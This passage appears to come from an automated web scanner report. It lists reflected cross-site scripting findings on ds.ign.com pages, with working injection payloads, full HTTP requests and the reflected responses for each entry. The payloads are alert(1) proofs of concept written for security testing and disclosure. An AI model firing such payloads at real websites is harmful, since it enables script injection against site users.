Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-1207569308-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041709658v-1n-12mc+1297041709658mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 179322

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All Nintendo DS &
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/games.html?2dd18"><script>alert(1)</script>8dcff63431b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.155. http://ds.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20e43"><script>alert(1)</script>9a1b0f2269e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/images.html?20e43"><script>alert(1)</script>9a1b0f2269e=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-647456477-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:50 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041710784v-1n-12mc+1297041710784mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116182

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN DS: Games, Che
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/images.html?20e43"><script>alert(1)</script>9a1b0f2269e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.156. http://ds.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 84e66"-alert(1)-"8a875710ab2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/images.html?84e66"-alert(1)-"8a875710ab2=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-1336603634-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041718598v-1n-12mc+1297041718598mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118699

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN DS: Games, Che
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/images.html?84e66"-alert(1)-"8a875710ab2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.157. http://ds.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a6fd"-alert(1)-"011aedbdd45 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?7a6fd"-alert(1)-"011aedbdd45=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:22:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:22:01 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-2078814728-13;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:22:00 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041720754v-1n-12mc+1297041720754mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 144689

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/latest-updates.html?7a6fd"-alert(1)-"011aedbdd45=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.158. http://ds.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92f97"><script>alert(1)</script>a7609ad19bc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?92f97"><script>alert(1)</script>a7609ad19bc=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-2112530193-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:57 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041717799v-1n-12mc+1297041717799mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 142982

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/latest-updates.html?92f97"><script>alert(1)</script>a7609ad19bc=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.159. http://ds.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15ad3"><script>alert(1)</script>66fd0e3ba98 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?types=all15ad3"><script>alert(1)</script>66fd0e3ba98 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:22:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:22:05 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-180368243-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:22:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041725149v-1n-12mc+1297041725149mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116315

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/latest-updates.html?types=all15ad3"><script>alert(1)</script>66fd0e3ba98&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.160. http://ds.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 89a11"-alert(1)-"885b288a082 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?types=all89a11"-alert(1)-"885b288a082 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:22:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:22:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-781560067-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:22:07 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041727117v-1n-12mc+1297041727117mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 117583

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
Guard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/latest-updates.html?types=all89a11"-alert(1)-"885b288a082",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.161. http://ds.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into an HTML comment. The payload 22b01--><script>alert(1)</script>4e06c977745 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index/latest-updates.html?types=all22b01--><script>alert(1)</script>4e06c977745 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:22:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:22:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15003-1383669598-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:22:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041729788v-1n-12mc+1297041729788mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116730

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script>4e06c977745&startDate=20110107&endDate=20110206 -->
...[SNIP]...

3.162. http://ds.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8a58"-alert(1)-"739a0385749 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?b8a58"-alert(1)-"739a0385749=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:53 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-1029504208-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041713640v-1n-12mc+1297041713640mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 126773

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN DS: Games, Che
...[SNIP]...
if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/news.html?b8a58"-alert(1)-"739a0385749=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.163. http://ds.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0c65"><script>alert(1)</script>bad51faa319 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?b0c65"><script>alert(1)</script>bad51faa319=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-820832511-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041709665v-1n-12mc+1297041709665mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 126654

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN DS: Games, Che
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/news.html?b0c65"><script>alert(1)</script>bad51faa319=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.164. http://ds.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24ea7"><script>alert(1)</script>66a0bffc619 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?24ea7"><script>alert(1)</script>66a0bffc619=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1770290604-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:46 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041706627v-1n-12mc+1297041706627mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN DS: Games, Che
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/previews.html?24ea7"><script>alert(1)</script>66a0bffc619=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.165. http://ds.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bddc6"-alert(1)-"91790f839c5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?bddc6"-alert(1)-"91790f839c5=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-602718058-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:50 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041711043v-1n-12mc+1297041711043mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118372

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN DS: Games, Che
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/previews.html?bddc6"-alert(1)-"91790f839c5=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.166. http://ds.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52616"-alert(1)-"17261e88bc1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?52616"-alert(1)-"17261e88bc1=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-1862347009-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:20 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041680683v-1n-12mc+1297041680683mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 172490

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Nintendo DS &
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ds.ign.com/index/reviews.html?52616"-alert(1)-"17261e88bc1=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.167. http://ds.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d64e7"><script>alert(1)</script>8545307439b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?d64e7"><script>alert(1)</script>8545307439b=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:21:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:21:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-1113793781-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:21:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041678854v-1n-12mc+1297041678854mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 172553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Nintendo DS &
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ds.ign.com/index/reviews.html?d64e7"><script>alert(1)</script>8545307439b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.168. http://ds.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef322"><script>alert(1)</script>9008801a361 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/upcoming.html?ef322"><script>alert(1)</script>9008801a361=1 HTTP/1.1
Host: ds.ign.com
Accept: */*
Accept-Language: en
